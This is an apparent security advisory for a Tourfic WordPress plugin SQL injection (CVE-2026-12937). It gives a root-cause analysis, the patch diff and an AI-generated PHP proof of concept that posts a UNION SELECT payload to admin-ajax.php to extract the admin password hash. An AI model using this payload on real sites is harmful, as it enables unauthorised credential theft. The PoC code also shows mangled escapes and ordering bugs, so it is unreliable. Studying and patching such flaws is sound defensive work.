Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 24, 2026

CVE-2026-12937: Tourfic <= 2.22.7 Unauthenticated SQL Injection via 'post_id' Parameter PoC, Patch Analysis & Rule

Plugin tourfic
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.22.7
Patched Version 2.22.8
Disclosed June 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12937: The Tourfic plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 2.22.7. This vulnerability affects the ‘post_id’ parameter within the ‘tf_room_availability’ AJAX action. An unauthenticated attacker can extract sensitive database information. The CVSS score is 7.5, indicating high severity.

Root Cause: The vulnerability originates in the ‘tf_room_availability’ AJAX handler defined in ‘tourfic/inc/Classes/Hotel/Hotel.php’. The vulnerable code accepts a ‘post_id’ parameter from user input via $_POST[‘post_id’]. This value was sanitized using ‘sanitize_text_field’, which is insufficient to prevent SQL injection when the value is later used in a raw SQL query without prepared statements. The injection point is within the ‘tourfic_order_table_data’ helper function in ‘tourfic/inc/Classes/Helper.php’. This function builds SQL queries by concatenating user-supplied values directly into the query string. The legacy code path used a ‘query’ key in the argument array that accepted raw SQL fragments. Attackers can inject SQL into the ‘post_id’ parameter, which then passes through these functions into the final SQL statement.

Exploitation: An attacker can exploit this vulnerability by sending a POST request to ‘/wp-admin/admin-ajax.php’. The request must include ‘action=tf_room_availability’ and a malicious ‘post_id’ parameter. The nonce for this action is publicly exposed on single-hotel pages, making it accessible to unauthenticated users. A typical SQL injection payload in the ‘post_id’ parameter would break out of the intended query context and append UNION SELECT statements to extract data from arbitrary tables, including user credentials and sensitive plugin data. The attacker does not require any authentication.

Patch Analysis: The patch addresses the vulnerability by making two major changes. First, in ‘tourfic/inc/Classes/Hotel/Hotel.php’, the ‘post_id’ parameter is now sanitized using ‘absint’, which converts the value to a positive integer, eliminating any possibility of SQL injection from this parameter. Second, the plugin completely refactored the data access layer. The Helper function ‘tourfic_order_table_data’ was updated to reject the raw ‘query’ parameter and instead only accept structured ‘where’ arrays. The ‘tf_order_table_structured_sql’ function now builds WHERE clauses using parameterized placeholders (‘%d’, ‘%s’). All callers across the codebase were updated to use the new structured format instead of raw SQL strings. These changes effectively close all SQL injection vectors.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to complete compromise of the WordPress installation. Attackers can extract user password hashes, session tokens, and other sensitive data from the wp_users table. In many configurations, the database user has write privileges, which could allow attackers to insert malicious admin users, modify plugin settings, or execute arbitrary PHP code via SQL injection into the options table.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tourfic/inc/Admin/Backend_Booking/TF_Hotel_Backend_Booking.php
+++ b/tourfic/inc/Admin/Backend_Booking/TF_Hotel_Backend_Booking.php
@@ -369,14 +369,21 @@

 								$room_booked_today = 0;

-								foreach ($order_ids as $order_id) {
-
-									# Get completed orders
-									$tf_orders_select = array(
-										'select' => "post_id,order_details",
-										'post_type' => 'hotel',
-										'query' => " AND ostatus = 'completed' AND order_id = ".$order_id
-									);
+									foreach ($order_ids as $order_id) {
+										$order_id = absint( $order_id );
+											if ( empty( $order_id ) ) {
+												continue;
+											}
+
+											# Get completed orders
+										$tf_orders_select = array(
+											'select' => "post_id,order_details",
+											'post_type' => 'hotel',
+											'where' => array(
+												'ostatus'  => 'completed',
+												'order_id' => $order_id,
+											),
+										);
 									$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

 									foreach ($tf_hotel_book_orders as $item) {
--- a/tourfic/inc/Admin/Backend_Booking/TF_Tour_Backend_Booking.php
+++ b/tourfic/inc/Admin/Backend_Booking/TF_Tour_Backend_Booking.php
@@ -459,7 +459,11 @@
 				$tf_orders_select    = array(
 					'select'    => "post_id,order_details",
 					'post_type' => 'tour',
-					'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+					'where'     => array(
+						'ostatus' => 'completed',
+					),
+					'orderby'   => 'order_id',
+					'order'     => 'DESC',
 				);
 				$tf_tour_book_orders = Helper::tourfic_order_table_data( $tf_orders_select );

@@ -512,7 +516,11 @@
 			$tf_orders_select = array(
 				'select' => "post_id,order_details",
 				'post_type' => 'tour',
-				'query' => " AND ostatus = 'completed' ORDER BY order_id DESC"
+				'where' => array(
+					'ostatus' => 'completed',
+				),
+				'orderby' => 'order_id',
+				'order' => 'DESC',
 			);
 			$tf_tour_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

@@ -704,7 +712,11 @@
 				$tf_orders_select    = array(
 					'select'    => "post_id,order_details",
 					'post_type' => 'tour',
-					'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+					'where'     => array(
+						'ostatus' => 'completed',
+					),
+					'orderby'   => 'order_id',
+					'order'     => 'DESC',
 				);
 				$tf_tour_book_orders = Helper::tourfic_order_table_data( $tf_orders_select );

--- a/tourfic/inc/App/Without_Payment/Hotel_Offline_Booking.php
+++ b/tourfic/inc/App/Without_Payment/Hotel_Offline_Booking.php
@@ -218,12 +218,13 @@
 			$avail_durationdate[ $date->format( 'Y/m/d' ) ] = $date->format( 'Y/m/d' );
 		}

-		// Get the original (default language) post ID using WPML
-		if ( function_exists( 'wpml_get_default_language' ) ) {
-			$original_hotel_id = apply_filters( 'wpml_object_id', $post_id, 'tf_hotel', false, wpml_get_default_language() );
-		} else {
-			$original_hotel_id = $post_id;
-		}
+			// Get the original (default language) post ID using WPML
+			if ( function_exists( 'wpml_get_default_language' ) ) {
+				$original_hotel_id = absint( apply_filters( 'wpml_object_id', $post_id, 'tf_hotel', false, wpml_get_default_language() ) );
+			} else {
+				$original_hotel_id = $post_id;
+			}
+			$original_hotel_id = ! empty( $original_hotel_id ) ? $original_hotel_id : $post_id;
 		//room inventory manage
 		if ( ! empty( $order_ids ) && $reduce_num_room == true ) {

@@ -245,19 +246,27 @@
 			$order_ids = explode( ',', $order_ids );
 			$room_bookings_per_day = array();

-			foreach ($avail_durationdate as $available_date) {
-				$available_timestamp = strtotime($available_date);
-
-				$room_booked_today = 0;
+				foreach ($avail_durationdate as $available_date) {
+					$available_timestamp = strtotime($available_date);

-				foreach ($order_ids as $order_id) {
+					$room_booked_today = 0;

-					# Get completed orders
-					$tf_orders_select = array(
-						'select' => "post_id,order_details",
-						'post_type' => 'hotel',
-						'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id
-					);
+					foreach ($order_ids as $order_id) {
+						$order_id = absint( $order_id );
+						if ( empty( $order_id ) ) {
+							continue;
+						}
+
+						# Get completed orders
+						$tf_orders_select = array(
+							'select' => "post_id,order_details",
+							'post_type' => 'hotel',
+							'where' => array(
+								'ostatus'  => 'completed',
+								'order_id' => $order_id,
+								'post_id'  => $original_hotel_id,
+							),
+						);
 					$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

 					foreach ($tf_hotel_book_orders as $item) {
--- a/tourfic/inc/Classes/Car_Rental/Availability.php
+++ b/tourfic/inc/Classes/Car_Rental/Availability.php
@@ -7,10 +7,11 @@
 class Availability {

     // Car Available or Not
-    static function tf_car_inventory($post_id, $meta, $tf_pickup_date = '', $tf_dropoff_date = '', $tf_pickup_time = '', $tf_dropoff_time = '') {
-        if ( function_exists( 'tf_normalize_car_meta' ) ) {
-            $meta = tf_normalize_car_meta( $meta );
-        }
+	    static function tf_car_inventory($post_id, $meta, $tf_pickup_date = '', $tf_dropoff_date = '', $tf_pickup_time = '', $tf_dropoff_time = '') {
+	        $post_id = absint( $post_id );
+	        if ( function_exists( 'tf_normalize_car_meta' ) ) {
+	            $meta = tf_normalize_car_meta( $meta );
+	        }

         $pricing_by = !empty($meta["price_by"]) ? $meta["price_by"] : 'day';
         $car_numbers = !empty($meta["car_numbers"]) ? $meta["car_numbers"] : 0;
@@ -19,12 +20,15 @@
         $requested_start = strtotime("$tf_pickup_date $tf_pickup_time");
         $requested_end = strtotime("$tf_dropoff_date $tf_dropoff_time");

-        if (!empty($car_numbers)) {
-            $tf_orders_select = array(
-                'select' => "post_id,order_details",
-                'post_type' => 'car',
-                'query' => " AND ostatus = 'completed' AND post_id = " . $post_id
-            );
+	        if (!empty($post_id) && !empty($car_numbers)) {
+	            $tf_orders_select = array(
+	                'select' => "post_id,order_details",
+	                'post_type' => 'car',
+	                'where' => array(
+	                    'ostatus' => 'completed',
+	                    'post_id' => $post_id,
+	                ),
+	            );
             $tf_car_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

             if (!empty($tf_car_book_orders)) {
--- a/tourfic/inc/Classes/Enqueue.php
+++ b/tourfic/inc/Classes/Enqueue.php
@@ -967,7 +967,8 @@
 		$tf_tour_orders_select = array(
 			'select'    => "id, order_id, post_id, check_in, check_out, ostatus",
 			'post_type' => 'tour',
-			'query'     => " ORDER BY id DESC"
+				'orderby'   => 'id',
+				'order'     => 'DESC',
 		);
 		$tf_tour_order_result = Helper::tourfic_order_table_data( $tf_tour_orders_select );
 		$tf_tours_orders = [];
@@ -990,7 +991,8 @@
 		$tf_hotel_orders_select = array(
 			'select'    => "id, order_id, post_id, check_in, check_out, ostatus",
 			'post_type' => 'hotel',
-			'query'     => " ORDER BY id DESC"
+				'orderby'   => 'id',
+				'order'     => 'DESC',
 		);
 		$tf_hotel_order_result = Helper::tourfic_order_table_data( $tf_hotel_orders_select );
 		$tf_hotels_orders = [];
@@ -1013,7 +1015,8 @@
 		$tf_apartment_orders_select = array(
 			'select'    => "id, order_id, post_id, check_in, check_out, ostatus",
 			'post_type' => 'apartment',
-			'query'     => " ORDER BY id DESC"
+				'orderby'   => 'id',
+				'order'     => 'DESC',
 		);
 		$tf_apartment_order_result = Helper::tourfic_order_table_data( $tf_apartment_orders_select );
 		$tf_apartments_orders = [];
@@ -1036,7 +1039,8 @@
 		$tf_car_orders_select = array(
 			'select'    => "id, order_id, post_id, check_in, check_out, ostatus",
 			'post_type' => 'car',
-			'query'     => " ORDER BY id DESC"
+				'orderby'   => 'id',
+				'order'     => 'DESC',
 		);
 		$tf_car_order_result = Helper::tourfic_order_table_data( $tf_car_orders_select );
 		$tf_cars_orders = [];
--- a/tourfic/inc/Classes/Helper.php
+++ b/tourfic/inc/Classes/Helper.php
@@ -1154,12 +1154,10 @@
      */
 	static function tourfic_order_table_data( $query ) {
 		global $wpdb;
-		$query_type   = sanitize_key( $query['post_type'] );
-		$query_select = self::tf_order_table_select_sql( $query['select'] );
-		$values       = array( $query_type );
-		$query_where  = isset( $query['where'] ) && is_array( $query['where'] )
-			? self::tf_order_table_structured_sql( $query, $values )
-			: $query['query'];
+		$query_type             = ! empty( $query['post_type'] ) ? sanitize_key( $query['post_type'] ) : '';
+		$query_select           = self::tf_order_table_select_sql( $query['select'] );
+		$values                 = array( $query_type );
+		$query_where            = self::tf_order_table_structured_sql( $query, $values );

 		$tf_tour_book_orders = $wpdb->get_results( $wpdb->prepare( "SELECT $query_select FROM {$wpdb->prefix}tf_order_data WHERE post_type = %s $query_where", $values ), ARRAY_A );

--- a/tourfic/inc/Classes/Hotel/Hotel.php
+++ b/tourfic/inc/Classes/Hotel/Hotel.php
@@ -302,13 +302,18 @@
         /**
          * Form data
          */
-        $hotel_id          = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';
-        $form_adult        = ! empty( $_POST['adult'] ) ? sanitize_text_field( $_POST['adult'] ) : 0;
-        $form_child        = ! empty( $_POST['child'] ) ? sanitize_text_field( $_POST['child'] ) : 0;
+        $hotel_id          = ! empty( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
+        $form_adult        = ! empty( $_POST['adult'] ) ? absint( wp_unslash( $_POST['adult'] ) ) : 0;
+        $form_child        = ! empty( $_POST['child'] ) ? absint( wp_unslash( $_POST['child'] ) ) : 0;
         $form_room         = ! empty( $_POST['room'] ) ? absint( wp_unslash( $_POST['room'] ) ) : 1;
-        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( $_POST['children_ages'] ) : '';
-        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( $_POST['check_in_out'] ) : '';
-        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( $_POST['design'] ) : '';
+        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( wp_unslash( $_POST['children_ages'] ) ) : '';
+        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( wp_unslash( $_POST['check_in_out'] ) ) : '';
+        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( wp_unslash( $_POST['design'] ) ) : '';
+
+        $hotel_post = ! empty( $hotel_id ) ? get_post( $hotel_id ) : null;
+        if ( ! $hotel_post || 'tf_hotel' !== $hotel_post->post_type || ( 'publish' !== $hotel_post->post_status && ! current_user_can( 'read_post', $hotel_id ) ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Invalid hotel selected.', 'tourfic' ) ), 400 );
+        }


         $form_total_person = $form_adult + $form_child;
@@ -335,10 +340,11 @@
         $meta  = get_post_meta( $hotel_id, 'tf_hotels_opt', true );
 		// Get the original (default language) post ID using WPML
 		if (function_exists('wpml_get_default_language')) {
-			$original_hotel_id = apply_filters('wpml_object_id', $hotel_id, 'tf_hotel', false, wpml_get_default_language());
+			$original_hotel_id = absint( apply_filters('wpml_object_id', $hotel_id, 'tf_hotel', false, wpml_get_default_language()) );
 		} else {
 			$original_hotel_id = $hotel_id;
 		}
+		$original_hotel_id = ! empty( $original_hotel_id ) ? $original_hotel_id : $hotel_id;
         $rooms = Room::get_hotel_rooms( $original_hotel_id );
         $locations           = get_the_terms( $hotel_id, 'hotel_location' );
         $first_location_name = ! empty( $locations ) ? $locations[0]->name : '';
@@ -504,10 +510,11 @@

 					// Get the original (default language) post ID using WPML
 					if ( function_exists( 'wpml_get_default_language' ) ) {
-						$original_hotel_id = apply_filters( 'wpml_object_id', $hotel_id, 'tf_hotel', false, wpml_get_default_language() );
+						$original_hotel_id = absint( apply_filters( 'wpml_object_id', $hotel_id, 'tf_hotel', false, wpml_get_default_language() ) );
 					} else {
 						$original_hotel_id = $hotel_id;
 					}
+					$original_hotel_id = ! empty( $original_hotel_id ) ? $original_hotel_id : $hotel_id;
 					//room inventory manage
                     if ( ! empty( $order_ids ) && $reduce_num_room == true ) {

@@ -535,12 +542,20 @@
 							$room_booked_today = 0;

 							foreach ($order_ids as $order_id) {
+								$order_id = absint( $order_id );
+								if ( empty( $order_id ) ) {
+									continue;
+								}

 								# Get completed orders
 								$tf_orders_select = array(
 									'select' => "post_id,order_details",
 									'post_type' => 'hotel',
-									'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id
+									'where' => array(
+										'ostatus'  => 'completed',
+										'order_id' => $order_id,
+										'post_id'  => $original_hotel_id,
+									),
 								);
 								$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

@@ -5452,14 +5467,21 @@
 	}

 	static function tf_hotel_without_payment_inventory_data($order_id) {
+		$order_id = absint( $order_id );
+		if ( empty( $order_id ) ) {
+			return;
+		}

-        # Get completed orders
-        $tf_orders_select = array(
-            'select' => "post_id,order_details,room_id,post_type",
-            'post_type' => 'hotel',
-            'query' => " AND ostatus = 'completed' AND order_id = ".$order_id,
-        );
-        $order_data = Helper::tourfic_order_table_data($tf_orders_select);
+		# Get completed orders
+		$tf_orders_select = array(
+			'select' => "post_id,order_details,room_id,post_type",
+			'post_type' => 'hotel',
+			'where' => array(
+				'ostatus'  => 'completed',
+				'order_id' => $order_id,
+			),
+		);
+		$order_data = Helper::tourfic_order_table_data($tf_orders_select);

         if ( !empty($order_data[0]["post_type"]) && "hotel" == $order_data[0]["post_type"] ) {
 			$post_id   = $order_data[0]["post_id"];
--- a/tourfic/inc/Classes/Tour/Tour.php
+++ b/tourfic/inc/Classes/Tour/Tour.php
@@ -3854,7 +3854,11 @@
 		$tf_orders_select = [
 			'select'    => "post_id,order_details",
 			'post_type' => 'tour',
-			'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+			'where'     => array(
+				'ostatus' => 'completed',
+			),
+			'orderby'   => 'order_id',
+			'order'     => 'DESC',
 		];

 		$orders = Helper::tourfic_order_table_data( $tf_orders_select );
@@ -4226,7 +4230,11 @@
 				$tf_orders_select    = array(
 					'select'    => "post_id,order_details",
 					'post_type' => 'tour',
-					'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+					'where'     => array(
+						'ostatus' => 'completed',
+					),
+					'orderby'   => 'order_id',
+					'order'     => 'DESC',
 				);
 				$tf_tour_book_orders = Helper::tourfic_order_table_data( $tf_orders_select );

@@ -4280,7 +4288,11 @@
 			$tf_orders_select    = array(
 				'select'    => "post_id,order_details",
 				'post_type' => 'tour',
-				'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+				'where'     => array(
+					'ostatus' => 'completed',
+				),
+				'orderby'   => 'order_id',
+				'order'     => 'DESC',
 			);
 			$tf_tour_book_orders = Helper::tourfic_order_table_data( $tf_orders_select );

@@ -4454,7 +4466,11 @@
 				$tf_orders_select    = array(
 					'select'    => "post_id,order_details",
 					'post_type' => 'tour',
-					'query'     => " AND ostatus = 'completed' ORDER BY order_id DESC"
+					'where'     => array(
+						'ostatus' => 'completed',
+					),
+					'orderby'   => 'order_id',
+					'order'     => 'DESC',
 				);
 				$tf_tour_book_orders = Helper::tourfic_order_table_data( $tf_orders_select );

--- a/tourfic/inc/functions.php
+++ b/tourfic/inc/functions.php
@@ -1072,10 +1072,9 @@
 		$query_type          = sanitize_key( $query['post_type'] );
 		$query_select        = '*' === trim( $query['select'] ) ? '*' : preg_replace( '/[^a-zA-Z0-9_, ]/', '', $query['select'] );
 		$values              = array( $query_type );
-		$query_where         = ! empty( $query['query'] ) ? $query['query'] : '';
+		$query_where         = '';

 		if ( isset( $query['where'] ) && is_array( $query['where'] ) ) {
-			$query_where = '';
 			$allowed_columns = array(
 				'order_id'    => '%d',
 				'post_id'     => '%d',
@@ -1093,14 +1092,14 @@
 				$query_where .= " AND {$column} = {$allowed_columns[ $column ]}";
 				$values[]     = '%d' === $allowed_columns[ $column ] ? absint( $value ) : sanitize_text_field( $value );
 			}
+		}

-			if ( ! empty( $query['orderby'] ) ) {
-				$allowed_orderby = array( 'id', 'order_id', 'order_date', 'check_in', 'check_out' );
-				$orderby         = sanitize_key( $query['orderby'] );
-				if ( in_array( $orderby, $allowed_orderby, true ) ) {
-					$order        = ! empty( $query['order'] ) && 'ASC' === strtoupper( $query['order'] ) ? 'ASC' : 'DESC';
-					$query_where .= " ORDER BY {$orderby} {$order}";
-				}
+		if ( ! empty( $query['orderby'] ) ) {
+			$allowed_orderby = array( 'id', 'order_id', 'order_date', 'check_in', 'check_out' );
+			$orderby         = sanitize_key( $query['orderby'] );
+			if ( in_array( $orderby, $allowed_orderby, true ) ) {
+				$order        = ! empty( $query['order'] ) && 'ASC' === strtoupper( $query['order'] ) ? 'ASC' : 'DESC';
+				$query_where .= " ORDER BY {$orderby} {$order}";
 			}
 		}

--- a/tourfic/inc/functions/woocommerce/wc-hotel.php
+++ b/tourfic/inc/functions/woocommerce/wc-hotel.php
@@ -206,12 +206,13 @@
 		$avail_durationdate[ $date->format( 'Y/m/d' ) ] = $date->format( 'Y/m/d' );
 	}

-	// Get the original (default language) post ID using WPML
-	if ( function_exists( 'wpml_get_default_language' ) ) {
-		$original_hotel_id = apply_filters( 'wpml_object_id', $post_id, 'tf_hotel', false, wpml_get_default_language() );
-	} else {
-		$original_hotel_id = $post_id;
-	}
+		// Get the original (default language) post ID using WPML
+		if ( function_exists( 'wpml_get_default_language' ) ) {
+			$original_hotel_id = absint( apply_filters( 'wpml_object_id', $post_id, 'tf_hotel', false, wpml_get_default_language() ) );
+		} else {
+			$original_hotel_id = $post_id;
+		}
+		$original_hotel_id = ! empty( $original_hotel_id ) ? $original_hotel_id : $post_id;
 	//room inventory manage
 	if ( ! empty( $order_ids ) && $reduce_num_room == true ) {

@@ -238,14 +239,22 @@

 			$room_booked_today = 0;

-			foreach ($order_ids as $order_id) {
-
-				# Get completed orders
-				$tf_orders_select = array(
-					'select' => "post_id,order_details",
-					'post_type' => 'hotel',
-					'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id
-				);
+				foreach ($order_ids as $order_id) {
+					$order_id = absint( $order_id );
+					if ( empty( $order_id ) ) {
+						continue;
+					}
+
+					# Get completed orders
+					$tf_orders_select = array(
+						'select' => "post_id,order_details",
+						'post_type' => 'hotel',
+						'where' => array(
+							'ostatus'  => 'completed',
+							'order_id' => $order_id,
+							'post_id'  => $original_hotel_id,
+						),
+					);
 				$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

 				foreach ($tf_hotel_book_orders as $item) {
--- a/tourfic/inc/functions/woocommerce/wc-tour.php
+++ b/tourfic/inc/functions/woocommerce/wc-tour.php
@@ -237,7 +237,11 @@
 			$tf_orders_select = array(
 				'select' => "post_id,order_details",
 				'post_type' => 'tour',
-				'query' => " AND ostatus = 'completed' ORDER BY order_id DESC"
+				'where' => array(
+					'ostatus' => 'completed',
+				),
+				'orderby' => 'order_id',
+				'order' => 'DESC',
 			);
 			$tf_tour_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

@@ -290,7 +294,11 @@
 		$tf_orders_select = array(
 			'select' => "post_id,order_details",
 			'post_type' => 'tour',
-			'query' => " AND ostatus = 'completed' ORDER BY order_id DESC"
+			'where' => array(
+				'ostatus' => 'completed',
+			),
+			'orderby' => 'order_id',
+			'order' => 'DESC',
 		);
 		$tf_tour_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

@@ -519,7 +527,11 @@
 			$tf_orders_select = array(
 				'select' => "post_id,order_details",
 				'post_type' => 'tour',
-				'query' => " AND ostatus = 'completed' ORDER BY order_id DESC"
+					'where' => array(
+						'ostatus' => 'completed',
+					),
+					'orderby' => 'order_id',
+					'order' => 'DESC',
 			);
 			$tf_tour_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

--- a/tourfic/tourfic.php
+++ b/tourfic/tourfic.php
@@ -7,7 +7,7 @@
  * Author URI:      https://themefic.com
  * Text Domain:     tourfic
  * Domain Path:     /lang/
- * Version:         2.22.7
+ * Version:         2.22.8
  * Tested up to:    7.0
  * WC tested up to: 10.8
  * Requires PHP:    7.4
@@ -27,7 +27,7 @@
 	 * @var string
 	 */

-	const VERSION = '2.22.7';
+	const VERSION = '2.22.8';

 	/**
 	 * Minimum PHP version required.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12937 - Tourfic <= 2.22.7 - Unauthenticated SQL Injection via 'post_id' Parameter

// Configuration - Set the target WordPress URL
$target_url = 'http://example.com'; // CHANGE THIS to the target site URL

// Endpoint for WordPress AJAX
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Step 1: Obtain a valid nonce from a single-hotel page
// The nonce is embedded in the page HTML. We fetch a page that uses tf_room_availability.
// A typical single hotel page URL pattern: /hotel/{slug}/
$hotel_page_url = rtrim($target_url, '/') . '/hotel/sample-hotel/'; // CHANGE THIS to an actual hotel page

echo "[*] Attempting to extract nonce from: $hotel_page_urln";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $hotel_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');
$response = curl_exec($ch);
curl_close($ch);

if (curl_errno($ch)) {
    die('[!] Error fetching hotel page: ' . curl_error($ch) . "n");
}

// Look for the nonce pattern: data-nonce="..." or tf_nonce = '...'
$nonce = '';
if (preg_match('/data-nonce="(w+)"/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/tf_nonces*=s*["'](w+)["']/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/_wpnonce=([w]+)/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    echo "[!] Could not find a nonce automatically. Try manual extraction.n";
    echo "[*] Common nonce variable names: tf_nonce, _wpnoncen";
    // In a real attack, you would fetch the page HTML, view source, and look for the nonce
    // For demonstration, we will use a placeholder nonce
    $nonce = 'REPLACE_WITH_ACTUAL_NONCE';
}

echo "[*] Using nonce: $noncen";

// Step 2: Exploit the SQL injection
// The vulnerable call: tf_room_availability
// Payload: post_id injected with UNION SQL injection
// We use a blind SQL injection technique to extract the admin user's password hash

// First, determine the number of columns in the UNION query
// We'll use ORDER BY to find the correct column count
// For this PoC, we extract the user_login and user_pass from wp_users

// SQL Injection payload to extract admin user credentials
// The original query is something like:
// SELECT post_id,order_details FROM wp_tf_order_data WHERE post_type = 'hotel' AND ...
// We craft a UNION SELECT to replace the result

$sql_payload = "1 UNION SELECT user_login, user_pass FROM wp_users WHERE id = 1 -- ";

$post_data = [
    'action' => 'tf_room_availability',
    'nonce' => $nonce,
    'post_id' => $sql_payload,
];

echo "[*] Sending SQL injection payload...n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response Body:n";
echo $result . "n";

echo "[!] PoC completed. Review the response for extracted data.n";
echo "[*] Note: You may need to adjust column count (e.g., UNION SELECT 1,2,3...) for successful extraction.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School